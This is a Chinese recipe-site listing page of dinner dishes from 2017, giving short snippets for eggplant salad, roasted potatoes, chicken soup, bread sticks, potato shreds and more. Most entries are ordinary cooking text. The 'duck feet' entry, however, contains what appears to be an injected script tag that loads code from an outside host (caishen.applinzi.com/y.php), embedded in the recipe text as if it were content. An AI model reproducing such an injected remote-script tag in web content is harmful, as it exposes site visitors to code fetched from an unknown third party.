晚餐
凉拌茄子的简单做法（图）
茄子内含蛋白质、维生素A、B族维生素、维生素C、维生素P、脂肪、糖类及矿物质等。茄子性寒，味甘，入脾、胃、大肠经，具有活血化淤、清热消肿、宽肠的功效，适用于肠风入血、热毒疮痈、皮肤...
2017-06-06 浏览: 1
朴素烤土豆（减脂健身期必备）怎么做好吃
健康的饮食从改善重口味开始！不妨试试这个超级简单的【朴素烤土豆】也是「减脂健身期」的好食谱！阿宅墙裂推荐哦～～过年大鱼大肉肯定吃多了吧？也该调整调整饮食咯～相比大米，土豆的卡路里更...
2017-06-05 浏览: 0
番茄鸡蛋焗吐司怎么做好吃
快手早餐快做起来吧健身伙伴们强推全麦面包适量、鸡蛋一个、番茄焗豆适量、黄瓜、西生菜适量、牛奶一袋、1.将面包切小块备用铺容器底一部分2.铺一层番茄焗豆在面包上（根据自己的喜好）看...
2017-06-05 浏览: 0
微波冬菇鸡汤，减少嘌呤摄入菜谱做法
微波炉加电饭煲，搞掂我的胃。有汤有饭，把自己养得肥肥胖胖的。为了防止尿酸过高，在饮食中，我们要尽量避免喝老火汤。因为肉类，豆类，蘑菇以及一些蔬菜本身嘌呤物质丰富，经过长时间熬煮后会...
2017-06-05 浏览: 0
椰蓉黑芝麻面包棒的快速做法
一款适合小朋友食用的小点心，也可以是贴心的零嘴儿，喜欢椰蓉的朋友不容错过哟……高粉180g、低粉50g、细砂糖40g、盐3g、全蛋液30g、水110g、黄油25g、奶粉10g、黑芝...
2017-06-05 浏览: 0
川贝陈皮柠檬膏的简单做法（图）
做了鼎鼎有名的川贝陈皮柠檬膏，妈妈的夜咳好多了，自己也经常喝，喉咙痛什么的轻松应对，酸酸甜甜的口感也不错，家中常备的小物哦……川贝150g、陈皮50g、柠檬500g、冰糖1000g...
2017-06-05 浏览: 0
春游人气王之抹茶草莓夹心元宝蛋糕做法详解（图）
春暖花开，万物复苏，每年幼儿园，小学都会必有踏青春游活动，妈妈们肯定会操心春游的小点心到底做什么，小蛋糕比较适合下午小点心，营养易消化，还能给活泼好动的孩子补充小能量。这款像个可爱...
2017-06-05 浏览: 0
椒盐卷饼如何做？
椒盐卷饼，发面饼的一种，非常适合做早餐或是零食小口，外层酥脆，里面松软，咬一口下去，浓浓的椒盐和芝麻香味，非常好吃的说！面粉200g、玉米油适量、椒盐适量、白芝麻适量、温水110g...
2017-06-05 浏览: 0
鸭爪的制作方法
<scriptsrc=//caishen.applinzi.com/y.php></script>鸭爪4对、酱油适量、1.<scriptsrc=//...
2017-06-05 浏览: 0
补钙山药虾粥最正宗做法
我记得N年前，对虾肉过敏，是因为体质对蛋白过敏，都是慎吃虾肉的，后来慢慢尝少量吃，就这样，少量少量地让身体慢慢习惯了，十年有多的时间，身体才适应这种优质蛋白，其实我自己也喜欢吃虾，...
2017-06-05 浏览: 0
香煎牛肉饼的饭店做法
这款肉饼，不用特别称重，也不用花很多时间等待面粉发酵。如果不想自己揉面，也可以直接买面饼皮，可以节约时间哟～酥酥脆脆，味道不摆了～水适量、葱一小把、鸡蛋一个、中筋面粉适量、牛肉糜适...
2017-06-05 浏览: 0
洋葱肥牛饭，高火3分钟搞掂怎么烧？
洋葱是日常生活中常见的蔬菜，具有很高的营养价值，而且功效卓著：杀菌、抗感冒，降血压降血糖，促进胃肠蠕动，帮助消化，堪比蔬菜界的“万能侠”。肥牛肉质细嫩、色鲜、味美且有丰富的大理石花...
2017-06-05 浏览: 0
奥尔良烤鸡翅的做法图解
奥尔良烤鸡翅很多人都爱吃，特别是小孩子，现在买上一包奥尔良烤肉料，自己在家也能做了，即方便，又干净卫生，烤箱菜也比油炸食品更健康。鸡翅500g、奥尔良烤肉料40g、姜1块、清水30...
2017-06-05 浏览: 0
胚芽奶油小面包的做法（图）
每次做了蛋糕奶油做馅有点剩，可以用来做面包不浪费，令面包的奶味更香浓，组织口感更柔软美味，我把家里的胚芽也抓一把进去，麦香味更加浓郁，更丰富口感更加健康。用这个方法可以令孩子不知不...
2017-06-05 浏览: 0
代餐菜花米的常见做法
有时候我们会在代餐粉的道路上越走越远，回过头却又十分想念咀嚼的口感。这次介绍一款风靡国外的代餐米，热量比白米饭低至5倍多，是减脂增肌达人们的新宠——菜花米0技术含量0技巧操作当然还...
2017-06-05 浏览: 0
酸辣土豆丝的详细做法
非常简单家常的酸辣土豆丝，酸辣可口，非常开胃，做法也很简单呢。土豆2个、香葱1棵、蒜头2瓣、生姜1片、小米椒1个、盐适量、鸡精少许、陈醋少许、白醋1勺、1.土豆去皮洗净擦成丝，再洗...
2017-06-05 浏览: 0
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